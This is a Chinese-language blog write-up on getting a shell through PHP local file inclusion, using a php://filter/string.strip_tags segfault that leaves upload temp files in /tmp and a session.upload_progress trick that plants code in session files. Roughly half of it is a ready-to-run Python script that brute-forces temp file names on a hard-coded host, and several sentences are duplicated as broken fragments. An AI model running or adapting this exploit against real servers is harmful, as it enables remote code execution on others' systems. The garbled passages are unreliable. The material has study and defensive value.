利用php://filter/string.strip_tags造成segment fault
之前在p牛的一篇文章中学习到了结合文件上传getshell的姿势,原理是向php程序上传文件时会在/tmp目录下生成临时文件(即使这个PHP没有任何处理文件上传的过程,甚至是空的),也就是处理上传文件时常常用到的一个变量$_FILES['file']['tmp_name'],由于生成的文件名是随机的,但是有一些特征,可以用glob通配符提取出来,具体可以看原文。这里要说的是在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php7 segment fault,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录(<php7.2),再进行文件名爆破就可以getshell。用我的VPS做个实验,首先php版本如下
include.php:1
2
include($_GET['file']);
 可以看到,php崩溃了。那么这时候我们POST一个文件上去
可以看到,php崩溃了。那么这时候我们POST一个文件上去 这时候可以看到,tmp file被留在了
这时候可以看到,tmp file被留在了/tmp目录没有被删去,正常来说它是应该被马上移除的。 上传成功后,我们就可以进行文件名的爆破,tmp file的文件名是有规律的,都叫
上传成功后,我们就可以进行文件名的爆破,tmp file的文件名是有规律的,都叫/tmp/php再加上6位的大小写字母加上数字的随机组合,这个爆破量比较大,但是是可行的,贴个exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59import string,requests,threading,Queue
charset = string.digits + string.letters 
host = "123.207.99.17" 
port = 80 
base_url = "http://%s:%d" % (host, port) 
def get_ready():
	queue=Queue.Queue()
	for i in charset: 
		for j in charset: 
			for k in charset: 
				for l in charset: 
					for m in charset: 
						for n in charset: 
							filename = i + j + k + l + m + n
							print 'putting  '+filename
							queue.put(filename) 
	workers=[]
	for t in range(30):
		worker=threading.Thread(target=get,args=(queue,))
		worker.start()
		workers.append(worker)
	for worker in workers:
		worker.join()
def get(queue):
	try:
		while queue.qsize()!=0:
			filename=queue.get(block=False)
			brute_force_tmp_files(filename)
	except Exception as e:
		print e
def brute_force_tmp_files(filename): 
	url = "%s/include.php?file=/tmp/php%s" % ( base_url, filename) 
	print url 
	try: 
		response = requests.get(url,timeout=2) 
		if len(response.content)!=0: 
			print "[+] Include success!" 
			with open('success.txt','a') as f:
				f.write(filename+'\r\n')
			return True 
	except Exception as e: 
		print e 
		return False
def main(): 
	get_ready() 
if __name__ == "__main__": 
	main()
利用session.upload把木马写入服务端session文件
关于PHP的session.upload可以看这篇文章,当session.upload_progress.enabled被设置为on(默认就为on),如果在上传文件的同时POST一个与session.upload_progress.name同名的变量(默认是PHP_SESSION_UPLOAD_PROGRESS),会生成一个记录上传进度的文件,路径为/var/lib/php/sessions/sess_{PHPSESSID}(具体要看php配置)
session.upload_progress.cleanup是用来自动清除上传记录的session的,这里为了方便测试,我先把它关掉。只需发送一个这样格式的数据包即可(其实就是普通的上传文件表单加一个name=PHP_SESSION_UPLOAD_PROGRESS) 此时session文件已经生成,可以直接包含。
此时session文件已经生成,可以直接包含。
 如果不修改配置,用默认的
如果不修改配置,用默认的cleanup=On,则需要条件竞争,多线程一直发包
总结
php的session.upload和文件上传有很多玄机,我之前写的一篇关于序列化处理器的文章也用到了这方面知识,非常值得深入学习。
#Referer
https://xz.aliyun.com/t/2148#toc-4
https://www.jianshu.com/p/dfd049924258